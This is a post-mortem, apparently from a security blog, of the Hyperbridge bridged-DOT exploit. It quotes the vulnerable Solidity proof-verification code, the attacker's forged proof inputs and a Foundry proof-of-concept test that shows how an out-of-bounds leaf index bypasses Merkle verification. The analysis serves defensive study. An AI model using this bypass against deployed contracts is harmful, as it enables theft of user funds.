This morning (April 13) an attacker exploited Hyperbridge's cross-chain gateway on Ethereum, minting 1 billion bridged DOT tokens out of thin air and dumping them for ~$237k in ETH. Native DOT on Polkadot was untouched — this was purely an Ethereum-side hit on the bridged token representation.

Hyperbridge, built by Polytope Labs, is supposed to be the trust-minimized interoperability layer connecting Polkadot to EVM chains. This way, there are smart contracts deployed at Ethereum side managing operations including the bridged DOT token contract.

Here's the breakdown of exactly how it went wrong.

The Transaction

Full trace on Blocksec Phalcon

Attacker address: 0xc513e4f5d7a93a1dd5b7c4d9f6cc2f52d2f1f8e7

The core of the exploit lives in one function call: HandlerV1.handlePostRequests. This is the handler that processes incoming cross-chain messages. Its job is to:

  1. Fetch a Merkle root from host.stateMachineCommitment
  2. Validate that the message is actually included in that Merkle tree
  3. If valid, dispatch the action (e.g. grant minting rights)

The attacker's goal: get step 2 to pass for a forged message.

None

The Handler

// https://github.com/polytope-labs/hyperbridge/blob/05031ae6c41979cdb5a03b44ccf767e0cbc0dcae/evm/src/core/HandlerV1.sol#L150-L181

function handlePostRequests(IHost host, PostRequestMessage calldata request) external notFrozen(host) {
    // ... challenge period checks ...

    uint256 requestsLen = request.requests.length;
    MmrLeaf[] memory leaves = new MmrLeaf[](requestsLen);

    for (uint256 i = 0; i < requestsLen; ++i) {
        PostRequestLeaf memory leaf = request.requests[i];
        // ... destination, timeout, duplicate checks ...
        bytes32 commitment = leaf.request.hash();
        leaves[i] = MmrLeaf(leaf.kIndex, leaf.index, commitment);
    }

    bytes32 root = host.stateMachineCommitment(request.proof.height).overlayRoot;
    if (root == bytes32(0)) revert StateCommitmentNotFound();
    bool valid = MerkleMountainRange.VerifyProof(root, request.proof.multiproof, leaves, request.proof.leafCount);
    if (!valid) revert InvalidProof();

    for (uint256 i = 0; i < requestsLen; ++i) {
        PostRequestLeaf memory leaf = request.requests[i];
        host.dispatchIncoming(leaf.request, _msgSender());
    }
}

The attacker submitted a ChangeAssetAdmin message targeting the bridged DOT token contract. If this passes VerifyProof, the attacker gains admin/minter privileges.

The Merkle Mountain Range Bug

The proof verification is delegated to MerkleMountainRange.VerifyProof from the @polytope-labs/solidity-merkle-trees library. Let's look at what the attacker actually passed in:

MerkleMountainRange.VerifyProof(
    root:      0x466dddba7e9a84a0f2632b59be71b8bd489e3334a1314a61253f8b827c9d3a36,
    proof:    [0x466dddba7e9a84a0f2632b59be71b8bd489e3334a1314a61253f8b827c9d3a36],
    leaves:   [{ k_index: 0, leaf_index: 1, hash: 0xb870f0ca...318a99d }],
    leafCount: 1
)

Notice anything? proof[0] == root. That's not a coincidence. Now look at CalculateRoot:

// https://github.com/polytope-labs/solidity-merkle-trees/blob/03832eb448ab77e5010281d7894c77b92a0640ad/src/MerkleMountainRange.sol#L34-L120

function CalculateRoot(
    bytes32[] memory proof,
    MmrLeaf[] memory leaves,
    uint256 leafCount
) internal pure returns (bytes32) {
    // special handle the only 1 leaf MMR
    if (leafCount == 1 && leaves.length == 1 && leaves[0].leaf_index == 0) {
        return leaves[0].hash;
    }

    uint256[] memory subtrees = subtreeHeights(leafCount);
    uint256 length = subtrees.length;
    Iterator memory peakRoots = Iterator(0, new bytes32[](length));
    Iterator memory proofIter = Iterator(0, proof);

    uint256 current_subtree;
    LeafIterator memory leafIter = LeafIterator(0, leaves.length);

    for (uint256 p; p < length; ) {
        uint256 height = subtrees[p];
        current_subtree += 2 ** height;

        LeafIterator memory subtreeLeaves = getSubtreeLeaves(leaves, leafIter, current_subtree);

        if (subtreeLeaves.length == 0) {
            if (proofIter.data.length == proofIter.offset) {
                break;
            } else {
                push(peakRoots, next(proofIter));
            }
        } else if (subtreeLeaves.length == 1 && height == 0) {
            push(peakRoots, leaves[subtreeLeaves.offset].hash);
        } else {
            push(peakRoots, CalculateSubtreeRoot(leaves, subtreeLeaves, proofIter, height));
        }

        unchecked { ++p; }
    }

    unchecked { peakRoots.offset--; }

    while (peakRoots.offset != 0) {
        bytes32 right = previous(peakRoots);
        bytes32 left = previous(peakRoots);
        unchecked { ++peakRoots.offset; }
        peakRoots.data[peakRoots.offset] = keccak256(abi.encodePacked(right, left));
    }

    return peakRoots.data[0];
}

The early-exit requires leaves[0].leaf_index == 0. The attacker set leaf.index = 1 in their request — technically an out-of-bounds index for a tree with leafCount = 1. The handler copies this straight into leaves[i] without any bounds check, so CalculateRoot receives a leaf with leaf_index = 1, misses the early return, and falls through to the general path.

There, subtreeLeaves.length == 0 (no leaves fall within the subtree for this out-of-bounds index), so push(peakRoots, next(proofIter)) runs — adding proof[0] directly to peakRoots. After the peak-bagging loop, peakRoots.data[0] is returned as the computed root.

The result: the function returns proof[0]. The attacker set proof[0] = root. So the "computed root" equals the "expected root" and verification passes — for a completely forged message.

The attacker's leaf hash (0xb870f0ca...) is never used in the calculation at all.

Why This Happened

This is a textbook case of a library behaving inconsistently across edge cases, with nobody catching it:

  • No fuzz testing. A fuzzer throwing random leaf_index values at CalculateRoot would have tripped over this immediately. The library has essentially no coverage of out-of-bounds index inputs.
  • No sanity checks. leaf_index >= leafCount should be a hard revert. It isn't.
  • No documentation. The library code includes some basic comments, however, the logic is not documented. The article mentioned in readme does not exist anymore.
  • Misleading Guarantees. By default developers expect libraries to provide clean interface wrapping all sanity checks unless otherwise noted. The library expected input to be sanitized and missed to revert if invalid values provided.

Proof of Concept

The inconsistency in action — two calls differing only in leaf_index, returning completely different hashes and ignoring different inputs:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/MerkleMountainRange.sol";

contract MerkleMountainRangeHackTest is Test {
    function setUp() public {}

    // MerkleMountainRange.CalculateRoot inconsistency:
    //
    // Case A: leaf_index == 0  →  returns leaves[0].hash   (proof ignored)
    // Case B: leaf_index == 1  →  returns proof[0]         (leaf hash ignored)
    //
    // An attacker who controls proof[] and leaf_index can make the function
    // return any value they want by setting leaf_index = 1 and proof[0] = target.
    function test_MerkleMountainRange_InconsistentBehavior() public {
        bytes32[] memory proof = new bytes32[](1);
        proof[0] = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;

        MmrLeaf[] memory leaves = new MmrLeaf[](1);

        // Case A: leaf_index = 0 → early exit, returns leaf hash (0xbbbb...)
        leaves[0] = MmrLeaf(0, 0, 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb);
        console.logBytes32(MerkleMountainRange.CalculateRoot(proof, leaves, 1));
        // output: 0xbbbb...bbbb

        // Case B: leaf_index = 1 → skips early exit, returns proof[0] (0xaaaa...)
        leaves[0] = MmrLeaf(0, 1, 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb);
        console.logBytes32(MerkleMountainRange.CalculateRoot(proof, leaves, 1));
        // output: 0xaaaa...aaaa  ← attacker controls this
    }
}

Takeaways

The library was poorly tested, has no fuzz coverage, and doesn't document the invariant that leaf_index must be less than leafCount. One bounds check would have reverted the whole thing. Same for the calling code — request.proof is untrusted caller input going straight into a security-critical function with no validation on the way in.